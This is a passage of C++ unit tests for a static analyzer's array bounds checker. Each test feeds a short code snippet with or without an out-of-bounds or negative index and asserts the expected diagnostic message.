'a[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4398\n \" int a[2];\\n\"\n \" for (int i = 0; i < 4; i+=2)\\n\"\n \" do_stuff(a+i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_18() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i+=1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 6; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i=4;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (error) Array 'a[5]' accessed at index 5, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[6];\\n\"\n \" for (int i = 0; i < 7; i++)\\n\"\n \" {\\n\"\n \" a[i] = i;\\n\"\n \" i+=1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Buffer overrun\\n\", \"\", errout_str());\n }\n\n void array_index_19() {\n // \"One Past the End\" is legal, as long as pointer is not dereferenced.\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" char *end = &(a[2]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Getting more than one past the end is not legal\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2];\\n\"\n \" char *end = &(a[3]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Array 'a[2]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_20() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[8];\\n\"\n \" int b[10];\\n\"\n \" for ( int i = 0; i < 9; i++ )\\n\"\n \" b[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_21() {\n check(\"class A {\\n\"\n \" int indices[2];\\n\"\n \" void foo(int indices[3]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"void A::foo(int indices[3]) {\\n\"\n \" for(int j=0; j<3; ++j) {\\n\"\n \" int b = indices[j];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_22() {\n check(\"int main() {\\n\"\n \" size_t indices[2];\\n\"\n \" int b = indices[2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (error) Array 'indices[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_23() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char c[10];\\n\"\n \" c[1<<23]='a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'c[10]' accessed at index 8388608, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_24() {\n // ticket #1492 and #1539\n const std::string charMaxPlusOne(settings0.platform.defaultSign == 'u' ? \"256\" : \"128\");\n check(\"void f(char n) {\\n\"\n \" int a[n];\\n\" // n <= CHAR_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[\" + charMaxPlusOne + \"] = 0;\\n\" // 128/256 > CHAR_MAX\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[\" + charMaxPlusOne + \"]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[\" + charMaxPlusOne + \"]' accessed at index \" + charMaxPlusOne + \", which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(signed char n) {\\n\"\n \" int a[n];\\n\" // n <= SCHAR_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[128] = 0;\\n\" // 128 > SCHAR_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[128]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[128]' accessed at index 128, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(unsigned char n) {\\n\"\n \" int a[n];\\n\" // n <= UCHAR_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[256] = 0;\\n\" // 256 > UCHAR_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[256]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[256]' accessed at index 256, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(short n) {\\n\"\n \" int a[n];\\n\" // n <= SHRT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[32768] = 0;\\n\" // 32768 > SHRT_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[32768]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[32768]' accessed at index 32768, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(unsigned short n) {\\n\"\n \" int a[n];\\n\" // n <= USHRT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[65536] = 0;\\n\" // 65536 > USHRT_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[65536]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[65536]' accessed at index 65536, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(signed short n) {\\n\"\n \" int a[n];\\n\" // n <= SHRT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \" a[32768] = 0;\\n\" // 32768 > SHRT_MAX\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[32768]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:4:6]: (error) Array 'a[32768]' accessed at index 32768, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f(int n) {\\n\"\n \" int a[n];\\n\" // n <= INT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[2147483648]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n check(\"void f(unsigned int n) {\\n\"\n \" int a[n];\\n\" // n <= UINT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[4294967296]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n check(\"void f(signed int n) {\\n\"\n \" int a[n];\\n\" // n <= INT_MAX\n \" a[-1] = 0;\\n\" // negative index\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'a[2147483648]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_25() { // #1536\n check(\"void foo()\\n\"\n \"{\\n\"\n \" long l[SOME_SIZE];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_26() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[3];\\n\"\n \" for (int i = 3; 0 <= i; i--)\\n\"\n \" a[i] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[4];\\n\"\n \" for (int i = 3; 0 <= i; i--)\\n\"\n \" a[i] = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_27() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" a[i-1] = a[i];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_28() {\n // ticket #1418\n check(\"void f()\\n\"\n \"{\\n\"\n \" int i[2];\\n\"\n \" int *ip = i + 1;\\n\"\n \" ip[-10] = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (error) Array ip[-10] out of bounds.\\n\", \"\", errout_str());\n }\n\n void array_index_29() {\n // ticket #1724\n check(\"void f()\\n\"\n \"{\\n\"\n \" int iBuf[10];\"\n \" int *i = iBuf + 9;\"\n \" int *ii = i + -5;\"\n \" ii[10] = 0;\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (error) Array ii[10] out of bounds.\\n\", \"\", errout_str());\n }\n\n void array_index_30() {\n // ticket #2086 - unknown type\n // extracttests.start: typedef unsigned char UINT8;\n check(\"void f() {\\n\"\n \" UINT8 x[2];\\n\"\n \" x[5] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'x[2]' accessed at index 5, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_31() {\n // ticket #2120 - sub function, unknown type\n check(\"struct s1 {\\n\"\n \" unknown_type_t delay[3];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void x(unknown_type_t *delay, const int *net) {\\n\"\n \" delay[0] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void y() {\\n\"\n \" struct s1 obj;\\n\"\n \" x(obj.delay, 123);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct s1 {\\n\"\n \" unknown_type_t delay[3];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void x(unknown_type_t *delay, const int *net) {\\n\"\n \" delay[4] = 0;\\n\"\n \"}\\n\"\n \"\\n\"\n \"void y() {\\n\"\n \" struct s1 obj;\\n\"\n \" x(obj.delay, 123);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:11] -> [test.cpp:6]: (error) Array 'obj.delay[3]' accessed at index 4, which is out of bounds.\\n\",\n \"\",\n errout_str());\n\n check(\"struct s1 {\\n\"\n \" float a[0];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" struct s1 *obj;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_32() {\n check(\"class X\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" X()\\n\"\n \" {\\n\"\n \" m_x[0] = 0;\\n\"\n \" m_x[1] = 0;\\n\"\n \" }\\n\"\n \" int m_x[1];\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:11]: (error) Array 'm_x[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_33() {\n check(\"void foo(char bar[][4]) {\\n\"\n \" baz(bar[5]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_34() { // ticket #3063\n check(\"void foo() {\\n\"\n \" int y[2][2][2];\\n\"\n \" y[0][2][0] = 0;\\n\"\n \" y[0][0][2] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Array 'y[2][2][2]' accessed at index y[0][2][0], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:4:6]: (error) Array 'y[2][2][2]' accessed at index y[0][0][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct TEST\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" char b[10][5];\\n\"\n \"};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" TEST test;\\n\"\n \" test.a[10] = 3;\\n\"\n \" test.b[10][2] = 4;\\n\"\n \" test.b[0][19] = 4;\\n\"\n \" TEST *ptest;\\n\"\n \" ptest = &test;\\n\"\n \" ptest->a[10] = 3;\\n\"\n \" ptest->b[10][2] = 4;\\n\"\n \" ptest->b[0][19] = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (error) Array 'test.a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:10:11]: (error) Array 'test.b[10][5]' accessed at index test.b[10][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:11]: (error) Array 'test.b[10][5]' accessed at index test.b[0][19], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:14:13]: (error) Array 'ptest->a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:15:13]: (error) Array 'ptest->b[10][5]' accessed at index ptest->b[10][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:16:13]: (error) Array 'ptest->b[10][5]' accessed at index ptest->b[0][19], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct TEST\\n\"\n \"{\\n\"\n \" char a[10][5];\\n\"\n \"};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" TEST test;\\n\"\n \" test.a[9][5] = 4;\\n\"\n \" test.a[0][50] = 4;\\n\"\n \" TEST *ptest;\\n\"\n \" ptest = &test;\\n\"\n \" ptest->a[9][5] = 4;\\n\"\n \" ptest->a[0][50] = 4;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (error) Array 'test.a[10][5]' accessed at index test.a[9][5], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:9:11]: (error) Array 'test.a[10][5]' accessed at index test.a[0][50], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:12:13]: (error) Array 'ptest->a[10][5]' accessed at index ptest->a[9][5], which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:13:13]: (error) Array 'ptest->a[10][5]' accessed at index ptest->a[0][50], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_35() { // ticket #2889\n check(\"void f() {\\n\"\n \" struct Struct { unsigned m_Var[1]; } s;\\n\"\n \" s.m_Var[1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Array 's.m_Var[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct Struct { unsigned m_Var[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Struct s;\\n\"\n \" s.m_Var[1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error) Array 's.m_Var[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"struct Struct { unsigned m_Var[1]; };\\n\"\n \"void f() {\\n\"\n \" struct Struct * s = calloc(40);\\n\"\n \" s->m_Var[1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_36() { // ticket #2960\n check(\"class Fred {\\n\"\n \" Fred(const Fred &);\\n\"\n \"private:\\n\"\n \" bool m_b[2];\\n\"\n \"};\\n\"\n \"Fred::Fred(const Fred & rhs) {\\n\"\n \" m_b[2] = rhs.m_b[2];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (error) Array 'm_b[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:7:21]: (error) Array 'rhs.m_b[2]' accessed at index 2, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_37() {\n check(\"class Fred {\\n\"\n \" char x[X];\\n\"\n \" Fred() {\\n\"\n \" for (unsigned int i = 0; i < 15; i++)\\n\"\n \" i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_38() { //ticket #3273\n check(\"void aFunction() {\\n\"\n \" double aDoubleArray[ 10 ];\\n\"\n \" unsigned int i; i = 0;\\n\"\n \" for( i = 0; i < 6; i++ )\\n\"\n \" {\\n\"\n \" unsigned int j; j = 0;\\n\"\n \" for( j = 0; j < 5; j++ )\\n\"\n \" {\\n\"\n \" unsigned int x; x = 0;\\n\"\n \" for( x = 0; x < 4; x++ )\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_39() { // ticket 3387\n check(\"void aFunction()\\n\"\n \"{\\n\"\n \" char a[10];\\n\"\n \" a[10] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Array 'a[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_40() {\n check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" for (int i = 0; i < 10; ++i)\\n\"\n \" f2(&a[i + 1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_41() {\n // Don't generate false positives when structs have the same name\n check(\"void a() {\\n\"\n \" struct Fred { char data[6]; } fred;\\n\"\n \" fred.data[4] = 0;\\n\" // <- no error\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" struct Fred { char data[3]; } fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void a() {\\n\"\n \" struct Fred { char data[6]; } fred;\\n\"\n \" fred.data[4] = 0;\\n\" // <- no error\n \"}\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" struct Fred { char data[3]; } fred;\\n\"\n \" fred.data[4] = 0;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:14]: (error) Array 'fred.data[3]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_42() { // ticket #3569\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p; p = (char *)malloc(10);\\n\"\n \" p[10] = 7;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'p[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" float *p; p = (float *)malloc(10 * sizeof(float));\\n\"\n \" p[10] = 7;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'p[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p; p = (char *)malloc(10);\\n\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p; p = new char[10];\\n\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p(new char[10]);\\n\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *p = NULL;\"\n \" try{\\n\"\n \" p = new char[10];\\n\"\n \" }\\n\"\n \" catch(...){\\n\"\n \" return;\\n\"\n \" }\"\n \" p[0] = 0;\\n\"\n \" p[9] = 9;\\n\"\n \" delete [] p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_43() { // #3838\n\n check(\"int f( )\\n\"\n \"{\\n\"\n \" struct {\\n\"\n \" int arr[ 3 ];\\n\"\n \" } var[ 1 ];\\n\"\n \" int y;\\n\"\n \" var[ 0 ].arr[ 0 ] = 0;\\n\"\n \" var[ 0 ].arr[ 1 ] = 1;\\n\"\n \" var[ 0 ].arr[ 2 ] = 2;\\n\"\n \" y = var[ 0 ].arr[ 3 ];\\n\" // <-- array access out of bounds\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:20]: (error) Array 'var[0].arr[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int f( )\\n\"\n \"{\\n\"\n \" struct {\\n\"\n \" int arr[ 3 ];\\n\"\n \" } var[ 1 ];\\n\"\n \" int y=1;\\n\"\n \" var[ 0 ].arr[ 0 ] = 0;\\n\"\n \" var[ 0 ].arr[ 1 ] = 1;\\n\"\n \" var[ 0 ].arr[ 2 ] = 2;\\n\"\n \" y = var[ 0 ].arr[ 2 ];\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"int f( ){\\n\"\n \"struct Struct{\\n\"\n \" int arr[ 3 ];\\n\"\n \"};\\n\"\n \"int y;\\n\"\n \"Struct var;\\n\"\n \"var.arr[ 0 ] = 0;\\n\"\n \"var.arr[ 1 ] = 1;\\n\"\n \"var.arr[ 2 ] = 2;\\n\"\n \"var.arr[ 3 ] = 3;\\n\" // <-- array access out of bounds\n \"y=var.arr[ 3 ];\\n\" // <-- array access out of bounds\n \"return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:8]: (error) Array 'var.arr[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:10]: (error) Array 'var.arr[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n\n check(\"void f( ) {\\n\"\n \"struct S{\\n\"\n \" int var[ 3 ];\\n\"\n \"} ;\\n\"\n \"S var[2];\\n\"\n \"var[0].var[ 0 ] = 0;\\n\"\n \"var[0].var[ 1 ] = 1;\\n\"\n \"var[0].var[ 2 ] = 2;\\n\"\n \"var[0].var[ 4 ] = 4;\\n\" // <-- array access out of bounds\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (error) Array 'var[0].var[3]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f( ) {\\n\"\n \"struct S{\\n\"\n \" int var[ 3 ];\\n\"\n \"} ;\\n\"\n \"S var[2];\\n\"\n \"var[0].var[ 0 ] = 0;\\n\"\n \"var[0].var[ 1 ] = 1;\\n\"\n \"var[0].var[ 2 ] = 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid FPs (modified examples taken from #3838)\n check(\"struct AB { int a[10]; int b[10]; };\\n\"\n \"int main() {\\n\"\n \" struct AB ab;\\n\"\n \" int * p = &ab.a[10];\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a[10]; int b[10]; };\\n\"\n \"int main() {\\n\"\n \" struct AB ab[1];\\n\"\n \" int * p = &ab[0].a[10];\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct AB { int a[10]; int b[10]; };\\n\"\n \"int main() {\\n\"\n \" struct AB ab[1];\\n\"\n \" int * p = &ab[10].a[0];\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Array 'ab[1]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_44() { // #3979 (false positive)\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char buf[2];\\n\"\n \" int i;\\n\"\n \" for (i = 2; --i >= 0; )\\n\"\n \" {\\n\"\n \" buf[i] = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double buf[2];\\n\"\n \" for (int i = 2; i--; )\\n\"\n \" {\\n\"\n \" buf[i] = 2.;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_45() { // #4207 - handling of function with variable number of parameters / unnamed arguments\n // Variable number of arguments\n check(\"void f(const char *format, ...) {\\n\"\n \" va_args args;\\n\"\n \" va_start(args, format);\\n\"\n \"}\\n\"\n \"void test() {\\n\"\n \" CHAR buffer[1024];\\n\"\n \" f(\\\"%s\\\", buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unnamed argument\n check(\"void f(char *) {\\n\"\n \" dostuff();\\n\"\n \"}\\n\"\n \"void test() {\\n\"\n \" char buffer[1024];\\n\"\n \" f(buffer);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Two statement for-loop\n void array_index_46() {\n // #4840\n check(\"void bufferAccessOutOfBounds2() {\\n\"\n \" char *buffer[]={\\\"a\\\",\\\"b\\\",\\\"c\\\"};\\n\"\n \" for(int i=3; i--;) {\\n\"\n \" printf(\\\"files(%i): %s\\\", 3-i, buffer[3-i]);\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (error) Array 'buffer[3]' accessed at index 3, which is out of bounds.\\n\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int buffer[9];\\n\"\n \" long int i;\\n\"\n \" for(i=10; i--;) {\\n\"\n \" buffer[i] = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Array 'buffer[9]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // Correct access limits -> i from 9 to 0\n check(\"void f() {\\n\"\n \" int buffer[10];\\n\"\n \" for(unsigned long int i=10; i--;) {\\n\"\n \" buffer[i] = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_47() {\n // #5849\n check(\"int s[4];\\n\"\n \"void f() {\\n\"\n \" for (int i = 2; i < 0; i++)\\n\"\n \" s[i] = 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_48() {\n // #9478\n check(\"void test(void)\\n\"\n \"{\\n\"\n \" int array[4] = { 1,2,3,4 };\\n\"\n \" for (int i = 1; i <= 4; i++) {\\n\"\n \" printf(\\\" %i\\\", i);\\n\"\n \" array[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Array 'array[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void test(void)\\n\"\n \"{\\n\"\n \" int array[4] = { 1,2,3,4 };\\n\"\n \" for (int i = 1; i <= 4; i++) {\\n\"\n \" scanf(\\\"%i\\\", &i);\\n\"\n \" array[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_49() {\n // #8653\n check(\"void f() {\\n\"\n \" int i, k;\\n\"\n \" int arr[34] = {};\\n\"\n \" i = 1;\\n\"\n \" for (k = 0; k < 34 && i < 34; k++) {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" arr[k];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_50() {\n check(\"void f(const char * str) {\\n\"\n \" int len = strlen(str);\\n\"\n \" (void)str[len - 1];\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(\\\"12345678\\\");\\n\"\n \" f(\\\"12345\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_51() {\n check(\"void f(void){\\n\"\n \" int k=0, dd, d[1U] = {1};\\n\"\n \" for (dd=d[k]; k<10; dd=d[++k]){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: (error) Array 'd[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_52() {\n check(\"char f(void)\\n\"\n \"{\\n\"\n \" char buf[10];\\n\"\n \" for(int i = 0, j= 11; i < j; ++i)\\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_53() {\n check(\"double M[3][1];\\n\"\n \" \\n\"\n \"void matrix()\\n\"\n \"{\\n\"\n \" for (int i=0; i < 3; i++)\\n\"\n \" for (int j = 0; j < 3; j++)\\n\"\n \" M[i][j]=0.0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (error) Array 